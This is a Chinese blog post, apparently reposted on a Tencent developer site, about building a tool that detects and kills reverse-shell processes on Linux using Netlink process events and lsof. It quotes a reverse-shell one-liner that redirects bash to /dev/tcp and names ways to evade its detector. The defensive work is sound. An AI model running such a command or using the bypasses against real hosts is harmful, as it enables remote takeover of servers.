首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

自动化反弹Shell防御技术

前言

当命令注入点已经到手,Webshell已经就绪,nc已经监听起来了,冒新鲜热气儿的Shell唾手可得的那种狂喜,大家还记得吗?反弹Shell一般是外网渗透的最后一步,也是内网渗透的第一步。反弹Shell对服务器安全乃至内网安全的危害不必多说。

虽然本diao主要是玩Web安全的,可主机安全监控也是要做起来的,谁让咱是一个人的安全部呢?最近笔者潜心搞了一个反弹Shell攻击自动发现和阻断系统,本着技术共享的理念,当然也是为了让各位大神看看有没有绕过的可能,把这个技术分享出来,大家共勉。

项目GitHub: Seesaw

0×1 反弹Shell解析

未知攻,焉知防?我们先来分析一下反弹Shell这个不新的渗透技术,看看有什么入手点。反弹Shell顾名思义,有两个关键词——反弹和Shell。

反弹:利用命令执行/代码执行/Webshell/Redis未授权访问写入crontab等等漏洞,使目标服务器发出主动连接请求,从而绕过防火墙的入站访问控制规则。

Shell:使服务器Shell进程stdin/stdout/stderr重定向到攻击端。

常见的反弹Shell姿势有(详见文章):

通过仔细观察,我们可以发现这些姿势无一例外使用了重定向,这也是识别反弹Shell的突破口,且听笔者细细道来。

我们知道Linux中一切皆文件,正常情况下打开Bash进程时,Bash进程的stdin、stdout、stderr会定向到终端设备文件(例如/dev/pts/0),如下示意图:

此时Bash打开的文件描述符为:

可以看到bash进程已经打开了对应的字符设备文件描述符,用于将stdin(0u)/stdout(1u)/stderr(2u)等定向到字符设备。

当出现反弹Shell时,例如最流行的姿势bash -i >& /dev/tcp/ip/port 0>&1,我们来解析一下这条命令的意思。

综上,这条命令是为了控制Bash进程,并获得进程的标准输出和错误输出,采用重定向技术将stdin/stdout/stderr重定向到了套接字设备中,此时输入输出的结构发生了变化,如下示意图:

通过lsof命令可以看到此时的文件描述符打开情况:

可以发现stdin(0u)/stdout(1u)/stderr(2u)全都重定向到了TCP套接字中,而且此时进程所属的用户也变成了apache(运行Web服务的用户),当前路径就是Webshell所在的目录。

先知社区有不错的反弹Shell重定向分析:Linux反弹shell(一)文件描述符与重定向、Linux 反弹shell(二)反弹shell的本质。本文借鉴学习了这些文章内容,也正是通过对文章内容的学习启发了以上我对反弹Shell的特征提取思路,比心。

0×2 总体思路

综合上述分析,反弹Shell的识别思路便浮出水面:

及时发现Bash进程启动事件。

检查Bash进程是否打开了终端设备,是否有主动对外连接。

0×3 失败尝试

思路是有了,实现时却发现困难重重,第一个深坑,就是如何在第一时间捕捉到Shell进程的启动。为什么要第一时间呢?如果给了黑客短暂的操作窗口,就可能被植入更深层的木马/rootkit,甚至提权后直接把咱的监控程序干掉,这是绝对不能容忍的。

在这个深坑里,笔者扑腾了好几回,下面介绍在坑中的各种尝试,以及最终的成功方法。为啥失败的经验还要说呢?其实这些思路本身不坏,只是不太适合我们的项目目标,顺便介绍给大家共勉。

Round 1 Sysloghistory of BASH

既然要发现Shell进程,第一个思路是从Bash本身入手,如果Bash执行命令,让Bash进程自己告诉我。编译Bash开启命令history syslog功能,从而获取bash命令、bash进程pid、uid、pwd之类有用的信息,正好之前做异常命令识别时有过这个经验,当时也借鉴了一些文章:安全运维之如何将Linux历史命令记录发往远程Rsyslog服务器。

说干就干,下载bash源码:https://ftp.gnu.org/gnu/bash/。

a. 打开config-top.h 116行注释,开启bash syslog history功能:

b. 在bashhist.c 771行和776行自定义需要的syslog内容和格式,比如我最爱的JSON,但由于命令内容容易出现引号、转义符等导致JSON解析不成功,单独放在一列:

c. 修改rsyslog配置/etc/rsyslog.conf,用于本地保存或者发送至远程日志服务器做分析,并重启rsyslog服务(service rsyslog restart):

至此,所有调用Bash执行的命令都被我们记录下来了:

是不是感觉胜利在望了?笔者当时也很兴奋。可是在测试中发现如果反弹命令前面带“sh -c”,就不会被记录。这是不能容忍的缺陷,可是为啥记录不到,找不到任何头绪。沮丧的同时笔者深入思考,这个方法是不适合用于监控Shell进程启动的,实际执行命令时再检查就太晚了。

Round 2 proc文件系统

此路不通不要气馁,再接再厉。我们知道Linux系统有一个proc伪文件系统,记录着当前内核运行状态等信息,还有以进程id为名的一堆目录,里面是与该进程相关的运行信息。能不能从proc文件系统下手,实时监控Shel进程呢?

第一反应是用inotify监控/proc目录创建目录的事件,一旦创建新目录就说明启动了新进程,再进行相应的检查。用pyinotify库写了一个监控程序:

此时尴尬的事情出现了,inotify竟然捕捉不到任何/proc有关的读写事件!

仔细研究inotify的实现原理才知道,inotify监视着文件inode,而proc伪文件系统只是内存的映射没有inode,自然不能通过inotify监控到。

Round 3 bash打开事件

此时我把目光又转回到bash本身。我们知道Bash进程启动也就是会打开/bin/bash这个可执行文件,能不能用inotify监控/bin/bash的打开事件呢?

实践证明,这回inotify没有让我们失望,每次bash打开都被诚实地捕捉到了:

可是inotify太诚实了,甚至有点缺心眼,不会返回给我们打开文件的进程是谁。

此时更尴尬的事情出现了,当我们的程序捕捉到inotify事件从而对bash进程进行检查时,/bin/bash又会被打开!这就恐怖了,程序会进入到死循环里,出现打开事件,检查进程,结果自己导致了新的打开事件。物理学上这叫“自激”,KTV里这叫“啸叫”。

0×4 成功

Round 4 Netlink Socket

笔者越挫越勇,进入新一轮的研究。发现Linux有一个很好的IPC机制叫Netlink套接字,用于在内核与用户进程之间传递消息,其中就包括了进程事件信息!

Netlink使用标准的socket api,我们只需要创建对应类型的netlink socket并进行监听即可。参考:Netlink通信机制。

正好在GitHub上有一个基于netlink的python项目(https://github.com/dbrandt/proc_events),自动创建进程事件netlink socket并监听,返回一个yield生成器对象:

这个好极了,返回了很多有用的信息。我们只需要监听PROC_EVENT_EXEC事件,就可以获取新创建进程的tgid(也就是lsof要用到的PID)用于检查进程是否为反弹Shell。当然这个时候也需要采取必要的措施防止“自激”,我在代码使用了排除法,不检查lsof进程自身的pid。而之前没法防止自激,是因为inotify不能返回读写进程的pid。

利用Netlink套接字,我成功地实时捕捉到了Bash进程启动事件。后面的事情要顺利得多,只要使用lsof命令获取进程打开的文件描述符,应用上面所述的识别逻辑即可,详见代码(github项目agent/seesaw.py):

0×5 演示视频

录了一个Demo视频,很小不到6M,流量党可放心观看。 Seesaw Demo

0×6 总结

自己对思考了一下,这个方法优缺点总结如下:

优点:

快速响应:由于Netlink通信机制占用系统资源很少,对于Shell进程启动事件的响应基本无延时,后续主动检测确认为反弹Shell后直接Kill。

绕过较难:由于一般反弹Shell的姿势都是调用bash且通过重定向获取bash的标准输入输出,因此没有前置经验的情况下基本都会被防御住。

信息全面:发现反弹Shell后,收集到Shell相关的信息包括PID、SID(可用于判断究竟是哪个进程组出现了漏洞)、当前路径(方便查找Webshell)、系统用户等,可以再深入挖掘这个技术的应用场景,也可以统一汇总到SOC等分析平台进行联动。

缺点:

绕过风险:仅能通过进程执行文件名判断是否为Shell进程,上传可执行文件、拷贝Bash文件到其他路径等方法会绕过这个方法。严格限制上传文件目录的执行权限、Bash文件权限可以有效限制这个风险。

检测盲区:无法检测到直接调用Webshell执行命令的事件,因此低权限无交互的命令可以通过Webshell执行到。

本文所述反弹Shell识别方法,并不完美,把自己的思路分享出来,算是抛转引玉吧。

  • 发表于:
  • 原文链接https://kuaibao.qq.com/s/20181101B0Q6CO00?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券